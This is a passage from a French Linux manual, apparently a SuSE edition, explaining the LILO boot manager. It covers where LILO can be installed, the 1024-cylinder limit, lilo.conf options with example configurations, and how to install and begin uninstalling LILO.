d'amorçage peut aussi être envisagé pour une machine pure- ment Linux. Il est alors théoriquement possible de renoncer à l'installation de LILO . Mais cette méthode ne permettrait pas de fournir au noyau, pendant le démarrage, une ligne de commande contenant des options spéciales pour la procédure de démarrage, des informations complémentaires concernant le matériel etc. L'installation de plus d'un système d'exploitation sur une machine donne le choix entre différents concepts d'amorçage : Démarrer des systèmes additionnels à partir de la disquette : Lorsqu'un système d'exploitation est chargé depuis le disque, il est possible, à l'aide de disquettes d'amorçage, de lancer d'autres systèmes depuis le lecteur de disquettes. ~ Condition : Vous disposez d'un lecteur de disquettes permettant l'amorçage. ~ Exemple : Vous installez Linux additionnellement sur votre système DOS, Windows 95/98 ou OS/2 et vous lancez toujours Linux à partir de la disquette d'amorçage. ~ Avantage : Vous vous épargnez l'installation plutôt épineuse du char- geur. ~ Inconvénients : Vous devez absolument veiller à avoir une réserve de sécurité constituée de disquettes d'amorçage en état de fonctionne- ment ; le démarrage dure plus longtemps. ~ Le fait que votre Linux ne pourra pas être lancé sans disquette d'amor- çage peut représenter soit un inconvénient, soit un avantage, selon l'usage auquel votre machine est destinée. Charger des systèmes additionnels pendant le temps d'exécution : Un système d'exploitation est chargé à chaque démarrage de système. D'autres peuvent être chargés ensuite optionnellement à partir de celui-ci. ~ Condition : Vous disposez de programmes adéquats pour le démarrage ultérieur d'un autre système. ~ Exemples : Chargement de Linux à partir de DOS à l'aide du pro- gramme loadlin.exe (voir paragraphe 4.9 page 143) ou démarrage d'un serveur NetWare à partir de DOS avec server.exe . Installation d'un gestionnaire d'amorçage : Un gestionnaire d'amorçage (angl. bootmanager) permet de maintenir simultanément plusieurs sys- tèmes sur une machine et de les utiliser alternativement. L'utilisateur sé- lectionne, déjà pendant la phase de démarrage, le système qui devra être chargé. Un changement implique un nouveau démarrage de la machine. * * 119 4. Amorçage et gestionnaires_d'amorçage___________________________________________________________________________________________* *_______________________________________@ ~ Condition : Le gestionnaire d'amorçage sélectionné est ``en harmonie'' avec tous les systèmes d'exploitation. ~ Exemples : des gestionnaires d'amorçage en harmonie avec Linux (du moins sous certaines conditions) sont celui d'OS/2 (voir para- graphe 4.7.3 page 136) ou le boot.sys de DOS. Par la suite, nous vous donnerons plus de détails sur l'installation et la confi- guration de LILO qui est le gestionnaire d'amorçage standard pour les sys- tèmes Linux. Une description approfondie des ressources de LILO se trouve dans [Alm96 ]5 . À tout ceci viennent s'ajouter quelques détails concernant loadlin . 4.3 LILO se présente : Vue d'ensemble LILO ~ Votre entrée en scène ! Le chargeur de Linux peut être utilisé pour l'installation sur le MBR (plus de détails à la page suivante et au paragraphe 4.5 page 130). LILO a accès aux deux disques connus en mode réel et il est capable, de par son installation, de trouver toutes les données nécessaires sur les disques durs ``bruts''6 , sans informations sur le partitionnement. C'est pourquoi il est possible d'amorcer des systèmes d'exploitation depuis le deuxième disque dur. Contrairement à ce qui se passe lors de la procédure d'amorçage de DOS, les entrées contenues dans la table des partitions sont ignorées. La différence essentielle avec le mécanisme d'amorçage de DOS réside tou- tefois dans la possibilité, au moment du démarrage, de faire un choix entre les différents systèmes d'exploitation installés pouvant être chargés ~ y compris Linux. Après le chargement du MBR en mémoire, LILO est lancé. LILO peut maintenant, de son côté, proposer à l'utilisateur une sélection à l'aide d'une liste de systèmes préinstallés ( page suivante). Qu'est-ce que LILO et que peut-il faire ? LILO est un gestionnaire d'amorçage qui offre de nombreuses ressources. Il peut, au démarrage du système, charger et lancer les programmes système suivants : ~ Secteur d'amorçage des partitions (démarrage d'un système d'exploita- tion à partir de ces partitions) ~ Noyau Linux (lancement de Linux) La plupart des autres gestionnaires d'amorçage ne peuvent pas réaliser le deuxième point cité ici. En outre, il offre l'opportunité de fournir une ligne de commande au noyau Linux. Pour des raisons de sécurité, les fonctions de LILO peuvent être en- tièrement ou partiellement protégées par un mot de passe. _____________________________________________5 Avec lpr /usr/doc/packages/lilo/user.dvi , ce fichier peut être sorti sur l'impriman* *te 6 On parle d'un support ``brut'' (angl. raw device) lorsqu'il est accédé à un périphérique bloc (disque dur, partition, disquette : : :) directement comme à un fichier (de périphérique) particulier, et non pas en passant par un système de fichiers qui y est déposé 120 _____________________________________________________________________4.3.__LILO__se_présente_:_Vue_d'ensemble_______________* *______________________ Comment se passe l'amorçage avec LILO ? Lorsque LILO démarre, il affiche le texte LILO ainsi qu'un message d'accueil dont vous l'avez doté vous-même lors de la configuration (paragraphe 4.4.2 page 127). Ensuite il apparaît un message d'invite (angl. prompt) : boot: Vous sélectionnez ici, en entrant un nom, le système d'exploitation que vous désirez et qui sera démarré immédiatement. Lors de la configuration, vous avez déjà déterminé vous-même les noms pour vos systèmes d'exploitation. Vous pouvez_fournir_ici une ligne de commande à un noyau Linux. Avec la touche |T____a|b, vous pouvez obtenir l'affichage d'une liste de tous les noms. En quoi consiste LILO ? Le mécanisme de démarrage de LILO est constitué par les éléments sui- vants7 : ~ un secteur d'amorçage LILO avec une partie initiale (le ``premier ni- veau'') du code LILO qui active le LILO proprement dit lors du démar- rage du système. ~ Le code de machine LILO (son ``coeur''). Chemin standard : /boot/ boot.b. ~ Un fichier map dans lequel LILO écrit, lors de son installation, à quel endroit il peut trouver le noyau Linux et les autres données qui lui sont nécessaires. Chemin standard : /boot/map ~ optionnel : un fichier messages dont le contenu sera affiché comme mes- sage d'accueil avant la sélection d'amorçage LILO . Chemin habituel : /boot/message (ou quelque chose de similaire) ~ les différents noyaux Linux et les secteurs d'amorçage que LILO devra proposer pour le démarrage. _______________________________________________________________________________________________________________________|| |||||||| Chaque accès en écriture (même par déplacement de fichiers) à l'un de ||| | |||||||| || | |||||||| ces éléments invalide le fichier map et rend donc nécessaire une nouvelle || | |||||||| installation de LILO ( page 130) ! Ceci concerne surtout le passage à un || | |||||||| || | |||||||| nouveau noyau Linux. || | ||||||||_______________________________________________________________________________________________________________||_ Où LILO peut-il être installé ? En fait, cette question se rapporte le plus souvent au secteur d'amorçage de LILO (``premier niveau''). Avant d'y répondre, nous voulons d'abord attirer votre attention sur une restriction d'ordre général : ____________________________________________________ 7 À noter : Les secteurs d'amorçage installés par LILO contiennent une séquence d'octets caractéristique pour les virus de secteurs d'amorçage. Il n'y a donc rien d'étonnant si un scanner de virus DOS croit avoir trouvé, dans des fichiers tels que /boot/chain.b ou /boot/os2_d.b, le ``virus de boot'' AIRCOP ;-) * * 121 4. Amorçage et gestionnaires_d'amorçage___________________________________________________________________________________________* *_______________________________________@ ________________________________________________________________________________________________________* *________|| | Tous les éléments du mécanisme de démarrage de LILO et l'image du * * |||| || noyau /boot/vmlinuz doivent être contenus, en cas d'utilisation de * * |||| | disques durs, dans les 1024 premiers cylindres ! Ceci peut être obtenu á * * |||| | l'aide d'une petite partition supplémentaire montée sous le répertoire /boot * * ||| | * * ||| | et située intégralement dans les limites des 1024 premiers cylindres. * * ||| |_______________________________________________________________________________________________________* *________|||_ Seuls ces secteurs physiques sont déjà accessibles, avec les pilotes du BIOS, pendant la phase de démarrage du système. De surcroît, on est généralement contraint à se limiter aux deux premiers disques durs. Si vous possédez un ancien BIOS, il s'ajoute à cela que la présence de disques durs (E)IDE rend impossible l'amorçage depuis des périphériques SCSI également présents. Seul un BIOS récent permet, en cas normal, l'accès à d'autres périphériques : par exemple, en association avec les contrôleurs de disques EIDE, jusqu'à 4 disques EIDE. Beaucoup de combinaisons très modernes BIOS / adaptateur hôte SCSI permettent même de ``pousser en avant'' les disques SCSI pour rendre possible l'amorçage. Pour pouvoir tirer parti de cette possibilité avec LILO , reportez-vous à la description de l'option disk . Pour simplifier, nous pouvons résumer tout ceci en quelques mots : limite des 1024 cylindres. Vous devez déjà en tenir compte au moment du partitionne- ment de vos disques durs, avant la première installation de Linux. Ensuite, il sera trop tard et vous aurez probablement beaucoup de travail en supplé- ment ! Vous trouverez plus loin, au paragraphe 4.8.2 page 139, des détails sur la manière de vous y prendre. Pour le secteur d'amorçage de LILO, vous avez le choix entre les modes d'installation suivants : ~ Sur une disquette C'est la méthode la plus sûre mais aussi la plus lente pour amorcer avec LILO (voir page 133). Qui se sent encore rebuté, même après la lecture de ce chapitre, par les modifications du secteur d'amorçage devrait (dans un premier temps) opter pour la variante disquettes. ~ Sur le secteur d'amorçage d'une partition primaire Linux du premier disque dur Cette variante n'affecte absolument pas le MBR. Avant l'amorçage, cette partition doit être marquée comme active avec fdisk . Si Linux a été entiè- rement installé sur des unités de disque ou sur des partitions du deuxième disque dur, il ne reste plus pour LILO que le secteur d'amorçage de la partition étendue du premier disque dur, dans la mesure bien entendu où celle-ci existe. Le fdisk de Linux peut aussi activer cette partition. Cette méthode offre toutefois très peu de commodité si vous voulez amor- cer plusieurs systèmes d'exploitation à partir du disque dur : Vous devez en effet, à chaque fois que vous passez d'un système à l'autre, désactiver auparavant la partition de démarrage du système que vous voulez quitter et activer la partition de démarrage du prochain système. Les deux procé- dés que nous allons décrire ci-dessous conviennent beaucoup mieux dans un tel cas. 122 __________________________________________________________________4.4.__Un_LILO__sur_mesure_:_Configuration_________________* *______________________ ~ Sur le secteur maître d'amorçage (Master Boot Record) Cette variante est d'une très grande souplesse et constitue par ailleurs la seule possibilité d'amorcer Linux à partir du disque dur lorsque toutes les partitions Linux se trouvent sur le deuxième disque et que l'on ne dispose d'aucune partition étendue sur le premier. Une modification du MBR comporte toutefois certains risques si l'installation n'est pas réalisée avec compétence. Nous parlerons au paragraphe 4.5 page 130 des mesures de sécurité qui s'imposent. ~ Si vous avez utilisé jusqu'à présent un autre gestionnaire d'amor- çage : : : : : :et si vous voulez continuer à l'utiliser, vous avez encore d'autres possibilités en fonction de ses ressources. Citons un cas fréquent : Vous avez une partition primaire Linux sur le deuxième disque à partir duquel vous voulez lancer Linux. Votre autre gestionnaire serait capable d'initia- liser cette partition par le secteur d'amorçage. Il vous est alors possible de rendre cette partition amorçable en installant LILO sur le secteur d'amor- çage et en faisant savoir à votre autre gestionnaire qu'elle est amorçable. _______________________________________________________________________________________________________________________|| |||||||| Soyez toutefois prudent si vous souhaitez rendre amorçable une partition ||| | |||||||| || | |||||||| logique Linux en y installant LILO : Les choses se passent souvent bien, || | |||||||| mais même si votre autre gestionnaire d'amorçage était capable d'initia- || | |||||||| || | |||||||| liser des partitions logiques, le succès ne serait absolument pas garanti à || | |||||||| l'heure actuelle. || | ||||||||_______________________________________________________________________________________________________________||_ Vous pouvez bien sûr faire un essai, de préférence avec une toute petite installation Linux. Il est possible que vous ayez de la chance, mais il vaut tout de même mieux prévoir au moins une partition primaire Linux amorçable ! 4.4 Un LILO sur mesure : Configuration LILO est un gestionnaire d'amorçage flexible offrant de nombreuses possi- bilités d'adapter sa configuration aux exigences de chacun. Les options les plus importantes et leur signification seront présentées par la suite. Pour une description détaillée, reportez-vous à [Alm96 ]. La configuration de LILO sera enregistrée dans le fichier /etc/lilo.conf. Lors d'une première installation de Linux, nous vous conseillons de faire tout d'abord effectuer cette opération par YaST . Il sera toujours possible, si cela s'avère nécessaire, de modifier lilo.conf en prenant pour base le fichier créé par YaST . _______________________________________________________________________________________________________________________ |||||||| Le fichier /etc/lilo.conf ne devrait être lisible que par l'utilisateur ||| | |||||||| || | |||||||| `root' car il peut contenir des mots de passe (voir paragraphe 4.4.2 || | |||||||| page 127). Ceci est prévu de façon standard sous SuSE Linux. Vérifiez || | |||||||| || | |||||||| et, en cas de doute, lancez la commande : || | |||||||| terre: # chmod 0600 /etc/lilo.conf || | ||||||||_______________________________________________________________________________________________________________||_ Il est opportun de conserver soigneusement le fichier de configuration utilisé lors de la dernière installation de LILO et d'en faire une copie de sauvegarde * * 123 4. Amorçage et gestionnaires_d'amorçage___________________________________________________________________________________________* *_______________________________________@ avant toute modification. Une modification ne sera toutefois effective que si vous réinstallez LILO avec la nouvelle version du fichier de configuration (paragraphe 4.5 page 130) ! 4.4.1 Structure du fichier lilo.conf Le fichier /etc/lilo.conf commence par une section globale (angl. global options section) avec des configurations générales, suivie d'une ou de plu- sieurs sections système (angl. image sections) pour les différents systèmes d'exploitation que LILO doit lancer. Chaque nouvelle section système est initialisée par une ligne comportant l'option image ou other . L'ordre des différents systèmes d'exploitation dans le fichier lilo.conf n'a d'importance que dans la mesure où c'est le système mentionné en premier dans la liste qui sera lancé automatiquement si l'utilisateur ne fait aucune entrée ~ le cas échéant, après un délai d'attente prédéfini (voir les options delay et timeout ). Le fichier 4.4.1 page suivante montre l'exemple d'une configuration sur une machine fonctionnant sous Linux et sous DOS. Lors de l'amorçage, vous devriez avoir le choix entre : un nouveau noyau et un ancien noyau Linux sur la partition racine actuelle (partition primaire sur le deuxième disque) ainsi que MS-DOS (ou Windows 95) sur /dev/hda1. Dans /etc/lilo.conf, tout ce qui commence par le caractère # est un com- mentaire jusqu'à la fin de la ligne. Il est ignoré par LILO ~ tout comme un espace ~ et peut être utilisé pour améliorer la lisibilité. Voyons maintenant, l'une après l'autre, les lignes les plus importantes. Les autres options sont décrites au paragraphe 4.4.2 page 127. ~ Section globale (paramètres) ~ boot= Périphérique dont le premier secteur est destiné à l'installation du sec- teur d'amorçage de LILO (cible de l'installation). qui peut être : un lecteur de disquettes (/dev/fd0), une partition (par exemple /dev/hdb3) ou la totalité d'un disque (par exemple /dev/hda) : dans ce dernier cas, l'installation doit se faire sur le MBR. Par défaut : En l'absence de cette spécification, LILO sera installé sur la partition racine Linux actuelle. ~ prompt Force l'apparition du message d'+ invite de LILO . Par défaut : pas d'invite ! (voir paragraphe 4.4.2 page 127, option delay ) Ceci est recommandé dès que LILO doit lancer plus d'un système. Il conviendrait aussi d'utiliser conjointement l'option timeout afin de rendre possible un redémarrage automatique si aucune entrée ne suit le message d'invite. ~ timeout= Détermine une pause après le message d'invite et permet ainsi un redé- marrage automatique lorsqu'aucune entrée n'est faite en temps voulu. 124 |||||||| | __________________________________________________________________4.4.__Un_LILO__sur_mesure_:_Configuration___________________* *____________________|||| _______________________________________________________________________________________________________________________|||| |||||||| # Fichier de configuration LILO | |||||||||# Démarrage de LILO, section globale || |||||||| boot=/dev/hda # Cible de l'installation: MBR | |||||||| backup=/boot/MBR.hda.970428 # Fichier de sauvegarde pour | |||||||| | |||||||| # l'ancien MBR du 28 avr. 1997 | |||||||| #compact # faster, but won't work on all systems. | |||||||| #linear | |||||||| | |||||||| message=/boot/message # Message d'accueil de LILO | |||||||| prompt | |||||||| | |||||||| password = q99iwr4 # Mot de passe LILO | |||||||| timeout=100 # 10 s d'attente à l'invite avant l'amorçage | |||||||| | |||||||| # de la configuration par défaut | |||||||| vga = normal # mode texte normal (80x25 caractères) | |||||||| | |||||||| # End LILO global section | |||||||| | |||||||| | |||||||| # Linux bootable partition config begins | |||||||| image = /boot/vmlinuz # Configuration par défaut | |||||||| root = /dev/hdb3 # Partition racine pour le noyau | |||||||| | |||||||| read-only | |||||||| label = Linux | |||||||| | |||||||| # Linux bootable partition config ends | |||||||| | |||||||| | |||||||| # Second Linux bootable partition config | |||||||| image = /boot/vmlinuz.old | |||||||| | |||||||| root = /dev/hdb3 | |||||||| read-only | |||||||| | |||||||| label = Linux.old | |||||||| # 2nd Linux bootable partition config ends | |||||||| | |||||||| | |||||||| # DOS bootable partition config begins | |||||||| other = /dev/hda1 | |||||||| | |||||||| label = DOS | |||||||| loader = /boot/chain.b | |||||||| | |||||||| table = /dev/hda | |||||||| # DOS bootable partition config ends | ||||||||_______________________________________________________________________________________________________________ | fichier 4.4.1: Exemple de configuration dans /etc/lilo.conf est le temps qui reste,_en_dixièmes_de seconde, pour faire une entrée. En appuyant sur |S___________|hiftà *l'invite, on obtient une nouvelle pause. Par défaut : infini, c'est-à-dire pas de redémarrage automatique ! ~ Section Linux ~ image= C'est ici que doit se trouver le nom de l'image du noyau qui doit être amorcée. C'est en règle générale /boot/vmlinuz ou, si vous avez un système SuSE Linux plus ancien (antérieur à la version 6.0), /vmlinuz ou /zImage. ~ label= * * 125 4. Amorçage et gestionnaires_d'amorçage___________________________________________________________________________________________* *_______________________________________@ C'est, dans /etc/lilo.conf, le nom du système qui peut être choisi librement mais ne doit toutefois présenter aucune ambiguïté (par exemple Linux ). Longueur maximale 15 caractères : si possible, uni- quement des lettres, des chiffres et des soulignés `_', pas d'espaces ni de caractères particuliers tels que par exemple des lettres accentuées8 . Par défaut : le nom du fichier de l'image du noyau (par exemple /boot/vmlinuz). En tapant ce nom à l'invite que LILO affiche au démarrage, vous sélectionnez le système d'exploitation que vous voulez démarrer. Si vous avez plusieurs systèmes, il est opportun de tenir à disposition une description précise des noms et des systèmes dans un fichier messages (voir paragraphe 4.4.2 page ci-contre, option messages ). ~ root= C'est ainsi que LILO spécifie au noyau la partition racine (par exemple /dev/hda2) du système Linux. C'est ce qui est recommandé par sécu- rité ! Si cette option est omise, le noyau prend la partition racine dont il contient lui-même l'enregistrement9 . ~ Autre système ~ other= Avec other , on fait connaître à LILO les partitions de démarrage d'autres systèmes à amorcer (par exemple /dev/hda1). ~ loader= Pour le chargement d'un secteur d'amorçage étranger, LILO construit dans son fichier map un ``pseudo MBR'' (lors de l'amorçage, LILO initialise d'abord le ``pseudo MBR'' qui prend alors en charge le secteur d'amorçage étranger). Cette option spécifie le fichier duquel on doit extraire le code pour le ``pseudo MBR''. Par défaut : /boot/chain.b, ce qui est en général correct . Parfois il arrive qu'un système d'exploitation qui demande à être amorcé à partir du premier disque dur (par exemple DOS) doive être démarré avec LILO depuis un autre disque. Les options com- plémentaires map-drive= et to= permettent d'``échanger'' ces deux disques au moyen de leur numéro de périphé- rique BIOS. Exemple : fichier 4.4.2 page suivante. Le chargeur os2_d.b sert à amorcer OS/2 à partir du deuxième disque dur10 . Nouveau depuis la version 20 de LILO : Avec ce chargeur éga- lement, l'``échange'' des deux premiers disques durs doit être explici- tement prescrit (comme dans le fichier 4.4.2 page ci-contre). ~ table= doit spécifier le périphérique source pour la table des partitions qui doit être placée dans le pseudo MBR (en règle générale /dev/hda ou /dev/sda). _____________________________________________8 Vous trouverez les règles exactes pour les caractères admis dans [Alm96 ], paragraphe 3.2.1. 9 Peut être visualisée avec la commande rdev 10 any_b.b (amorçage à partir de B:) et any_d.b (amorçage à partir du deuxième disque dur) sont obsolètes depuis la version 20 de LILO . 126 __________________________________________________________________4.4.__Un_LILO__sur_mesure_:_Configuration________________* *_______________________ _______________________________________________________________________________________________________________________|||| |||||||| # Booting DOS from the second hard drive | |||||||||# DOS bootable partition config begins || |||||||| other = /dev/hdb1 | |||||||| label = DOS | |||||||| loader = /boot/chain.b | |||||||| | |||||||| map-drive = 0x80 # first hd: BIOS number 0x80 | |||||||| to = 0x81 # second hd: BIOS number 0x81 | |||||||| | |||||||| map-drive = 0x81 | |||||||| to = 0x80 | |||||||| | |||||||| table = /dev/hdb | |||||||| # DOS bootable partition config ends | ||||||||_______________________________________________________________________________________________________________ | fichier 4.4.2: /etc/lilo.conf Extrait : amorcer DOS à partir du deuxième disque dur ~ label= Le nom (qui peut être choisi librement) pour ce système. Il est conseillé de le faire car le label par défaut - le simple nom de périphérique de la partition - est d'une moins grande précision lors de l'amorçage. 4.4.2 Autres possibilités optionnelles de configuration (sélection) Au dernier paragraphe, nous avons parlé du minimum indispensable d'entrées dans /etc/lilo.conf. D'autres paramètres utiles vont maintenant suivre. Les options, expressément désignées comme options image, ont leur place dans la section d'un système d'exploitation particulier. Les autres sont desti- nées à la section globale de paramètres de /etc/lilo.conf. ~ backup= Le fichier dans lequel LILO dépose une copie de sauvegarde du sec- teur d'amorçage sur lequel il doit être installé. Il est prévu par défaut /boot/boot.xxxx. Ici, xxxx est le numéro de périphérique interne de la partition d'installation11 . Nous vous recommandons d'utiliser un nom facile à interpréter, tel que celui cité plus haut en exemple (avec le nom du périphérique et la date). Vous renoncez ainsi à la fonctionnalité Unis- tall incluse dans LILO . Mais à notre avis, il est préférable d'effectuer manuellement cette opération en prenant toutes les précautions qui s'im- posent (voir page 131). _______________________________________________________________________________________________________________________|| |||||||| Lorsque le fichier de sauvegarde existe déjà, LILO ne crée pas de nouvelle ||| | |||||||| copie de sauvegarde ! Vous devez donc veiller à utiliser un nouveau nom || | |||||||| || | |||||||| de fichier qui n'a pas encore été assigné. || | ||||||||_______________________________________________________________________________________________________________||_ ~ compact Cette option est recommandée pour l'installation de LILO sur une dis- quette. LILO tente alors, pendant le démarrage, de lire simultanément plusieurs secteurs et peut éventuellement amorcer plus vite. Cela ne fonc- tionne malheureusement pas sur toutes les machines. Lors de l'installation 11 ____________________________________________________ Ceci se trouve dans les sources du noyau dans /usr/src/linux/init/main.c, fonction parse_root_dev(). * * 127 4. Amorçage et gestionnaires_d'amorçage___________________________________________________________________________________________* *_______________________________________@ de LILO , il serait préférable d'y renoncer : c'est plus sûr et la différence n'est que de quelques secondes. ~ disk= bios= cylinders= heads= sectors= On peut ici, pour certains disques durs, spécifier directement à LILO les numéros de périphérique BIOS et la géométrie qu'il doit utiliser pour l'adressage des secteurs de ces disques. Très rarement nécessaire ! Ap- plication la plus importante : Systèmes mixtes IDE-SCSI : Si vous avez un BIOS qui permet l'ordre d'amorçage SCSI avant IDE et si vous voulez tirer parti de cette possibi- lité, vous devez informer LILO que l'ordre des disques durs a été modifié du point de vue du BIOS. Ceci se fait par l'ajout d'une entrée dans la par- tie globale de lilo.conf, comme par exemple ici dans le fichier 4.4.3, pour un système possédant respectivement un disque IDE et un disque SCSI. ________________________________________________________________________________________________________* *________|| | # Enable LILO to correctly access /dev/sda and /dev/hda * * | | # at boot time if their boot order is interchanged in * * | | * * | | # the BIOS: * * | | disk = /dev/sda # The SCSI disk is regarded as ... * * | | * * | | bios = 0x80 # ... first BIOS disk; * * | | disk = /dev/hda # the IDE disk is regarded as ... * * | | bios = 0x81 # ... second BIOS disk. * * | |_______________________________________________________________________________________________________* *________ | fichier 4.4.3: lilo.conf Extrait : Ordre d'amorçage : SCSI avant IDE ~ linear La spécification de cette option a pour résultat que, lors de l'installation de LILO , toutes les références sont placées sur des secteurs de disque comme adresses logiques et non pas physiques. Cette option a été prévue pour le cas où, avec certains contrôleurs de disques, le BIOS reconnaîtrait au démarrage du système une autre géométrie que le système Linux en cours d'exécution. Rarement nécessaire ! L'option linear ne dispense pas de respecter la limite des 1024 cy- lindres imposée par la géométrie du BIOS du disque d'amorçage. Voir aussi http://sdb.suse.de/sdb/en/html/kgw_lilo_linear.html. ~ message= Se réfère à un fichier texte qui, lors du démarrage du système, est le pre- mier à être affiché par LILO . Il ne doit pas avoir plus de 24 lignes (sinon il disparaît en défilant) et peut par exemple donner une vue d'ensemble de la sélection d'amorçage de LILO . Vous connaissez déjà un tel message qui est également affiché par la disquette d'amorçage fournie par SuSE . Cette option est recommandée. 128 __________________________________________________________________4.4.__Un_LILO__sur_mesure_:_Configuration________________* *_______________________ _______________________________________________________________________________________________________________________ |||||||| Si cette option est utilisée, le fichier messages fait alors partie du méca- ||| | ||||||||| nisme de démarrage de LILO . Toute modification qui lui est apportée rend || || |||||||| ||| | |||||||| indispensable une nouvelle installation de LILO (paragraphe 4.5 page sui- || | |||||||| vante) ! || | ||||||||_______________________________________________________________________________________________________________||_ ~ password= Peut tout aussi bien se trouver dans la section des paramètres que dans les différentes sections système. Protège l'accès aux services de LILO ou à l'amorçage du système concerné au moyen d'un mot de passe. Si vous prenez les choses au sérieux, vous devriez effacer le mot de passe après la première utilisation de ce fichier lilo.conf ~ sous le compte root, vous pouvez de toute façon déterminer à tout moment un nouveau mot de passe en procédant à une nouvelle installation de LILO . ~ Il est recommandé d'ajouter l'option restricted . Sans cette option il est en effet possible, avec un paramètre, de lancer directement un shell. Voir la page de man de lilo.conf (man lilo.conf ) ! ~ read-only Avec cette option image, LILO demande au noyau concerné de monter tout d'abord la partition racine en mode lecture seule ainsi qu'il est géné- ralement d'usage lors du démarrage du système Linux. Si cette option est omise, le noyau utilise les enregistrements qu'il contient lui-même12 . ~ delay= Lorsque l'invite n'est pas prescrite de façon impérative, l'utilisateur peut quand même, au moment du démarrage__de__LILO , demander_ une invite_ en appuyant sur les touches | ___________S|hift, *|______C|trl, | ____A|lt. L'option delay dé- termine le temps durant lequel LILO attend après son démarrage que les touches soient pressées avant de charger automatiquement le système d'exploitation qui se trouve en tête de sa liste. La valeur par défaut est 0 , ce qui signifie aucun délai. L'option delay est naturellement superflue si l'invite est expressément requise avec prompt . ~ vga= Sélectionne le mode texte VGA lors du démarrage. Les valeurs à entrer pour sont normal (pour 80x25), ext (pour 80x50) ou ask (de- mander lors de l'amorçage). ~ append="" Option image pour le noyau Linux. Permet la transmission de paramètres du noyau, par exemple lorsque l'on fait connaître au noyau les composants matériels exactement comme il est possible de le faire à l'invite de LILO . Le noyau reçoit d'abord la ligne append et ensuite les entrées à l'invite. C'est pourquoi, en cas de doute, les entrées à l'invite sont prédominantes. Par exemple : append="mcd=0x300,10" 12 ____________________________________________________ Peut être visualisée avec la commande rdev -R . Elle est de toute façon en lecture seule (vérifier !) pour les noyaux d'installation ainsi que dans le cas d'un noyau nouvellement compilé et on n'a donc pas besoin normalement de cette option. * * 129 4. Amorçage et gestionnaires_d'amorçage___________________________________________________________________________________________* *_______________________________________@ 4.5 Installation et désinstallation de LILO Lors d'une nouvelle installation de Linux, YaST guide l'utilisateur de façon interactive à travers les étapes indispensables et il n'est en général pas né- cessaire d'intervenir manuellement dans la procédure d'installation de LILO . Mais ici nous supposons que LILO doit être intégré avec des options spéciales dans un système. ________________________________________________________________________________________________________* *________|| | L'installation d'un gestionnaire d'amorçage constitue une intervention au * * |||| | * * ||| | sein du système et elle est par conséquent extrêmement délicate. Vous de- * * ||| | vez absolument vous assurer, avant l'installation de LILO , que vous pou- * * ||| | * * ||| | vez amorcer votre Linux et si possible aussi vos autres systèmes d'exploi- * * ||| | tation à partir d'une disquette ! Vous devez surtout avoir fdisk à votre dis- * * ||| | * * ||| | position. * * ||| |_______________________________________________________________________________________________________* *________|||_ Installation après modification de la configuration Si quelque chose a changé dans les éléments qui composent LILO ( page 121) ou si vous avez modifié votre configuration dans /etc/lilo.conf, vous devrez procéder à une nouvelle installation de LILO . Cela se fait par une simple invocation du ``map-installer'' : terre: # /sbin/lilo LILO crée alors une sauvegarde du secteur (d'amorçage) cible, écrit son ``pre- mier niveau'' sur ce secteur et génère un nouveau fichier map (voir page 121). Ensuite, LILO affiche l'un après l'autre les systèmes installés - comme dans le cas de notre configuration exemple (voir affichage 4.5.1) : ________________________________________________________________________________________________________* *________ | Added Linux* * * | | Added Linux.old * * | | * * | |_Added__DOS____________________________________________________________________________________________* *________ | affichage à l'écran 4.5.1: Sorties à l'appel de LILO Lorsque l'installation est terminée, la machine peut être redémarrée : terre: # shutdown -r now Après que le BIOS ait effectué son test du système, LILO se manifeste en- core par un message d'invite. Vous pouvez alors transmettre à LILO des_pa-_ ramètres pour le noyau et sélectionner l'image de boot désirée. Avec |T____a|b, il est possible de faire établir une liste des configurations installées. Installation après nouvelle compilation du noyau Si vous voulez intégrer un noyau nouvellement compilé dans votre concept d'amorçage, vous avez, outre la possibilité de procéder manuellement à une nouvelle installation de LILO , encore une autre possibilité qui vous offre plus de commodité : L'organisation des commandes pour configurer et générer le noyau est enregistrée dans le fichier /usr/src/linux/Makefile. C'est là que INSTALL_PATH=/boot doit être déterminée (voir paragraphe 13.5 page 363). 130 _________________________________________________________________4.5.__Installation_et_désinstallation_de_LILO______________* *______________________ Ce Makefile dispose d'un target nommé bzlilo qui, après une compi- lation automatique du noyau, copie le noyau installé sous /boot/vmlinuz (autrefois /vmlinuz) vers /boot/vmlinuz.old, écrit le noyau qui vient d'être généré vers /boot/vmlinuz et réinstalle LILO . Il suffit pour cela de taper : terre:/usr/src/linux # make bzlilo Cela n'a toutefois de sens que si votre /etc/lilo.conf a été préparé aupa- ravant à cet appel de LILO et si le noyau que vous utilisiez jusqu'à présent est vraiment situé sous /boot/vmlinuz. Sous vos images, vous devriez faire figurer le nouveau noyau - et pour des raisons de sécurité aussi l'ancien - comme cela a été fait dans le fichier 4.4.1 page 125. Vous pouvez ainsi, à l'invite de LILO , démarrer aussi bien le nouveau noyau que l'ancien noyau ~ en état de fonctionnement ~ (nom dans l'exemple : Linux.old ). Vous construisez ainsi un niveau de sécurité supplémentaire qui est utile dans le cas où le système ne serait pas capable d'amorcer avec le nouveau noyau. Pour savoir comment générer un nouveau noyau, reportez-vous au chapitre 13 page 359. Suppression de LILO _______________________________________________________________________________________________________________________||| |||||||| || | |||||||| La désinstallation d'un gestionnaire d'amorçage constitue une intervention || | |||||||| au sein du système et elle est par conséquent extrêmement délicate. Vous || | |||||||| || | |||||||| devez absolument vous assurer, avant la désinstallation de LILO , que vous || | |||||||| pouvez amorcer votre Linux et aussi vos autres systèmes d'exploitation ~ || | |||||||| || | |||||||| si ceux-ci existent ~ à partir d'une disquette ! Vous risquez sinon d'avoir la || | |||||||| désagréable surprise de ne plus pouvoir accéder aux systèmes d'exploita- || | |||||||| || | |||||||| tion qui résident sur votre disque dur. || | ||||||||_______________________________________________________________________________________________________________||_ Il sera peut-être un jour nécessaire de désinstaller LILO :-( Cela se fait en restituant au secteur (d'amorçage) cible sur lequel LILO a été installé son contenu initial. Sous Linux, cette opération ne présente aucune difficulté s'il existe une copie de sauvegarde valide (voir paragraphe 4.4.2 page 127, option backup ). _______________________________________________________________________________________________________________________||| |||||||| Une sauvegarde du secteur d'amorçage est invalidée si la partition concer- ||| | |||||||| || | |||||||| née a reçu un nouveau système de fichiers (monde DOS : si elle a été for- || | |||||||| matée). La table des partitions dans une sauvegarde de MBR est invalidée || | |||||||| || | |||||||| si le disque dur concerné a entre temps été partitionné d'une autre manière. || | |||||||| De telles sauvegardes sont des ``bombes à retardement'' : il est préférable || | |||||||| || | |||||||| de les effacer immédiatement ! La réintégration de sauvegardes périmées || | |||||||| dans ces secteurs du système est une méthode 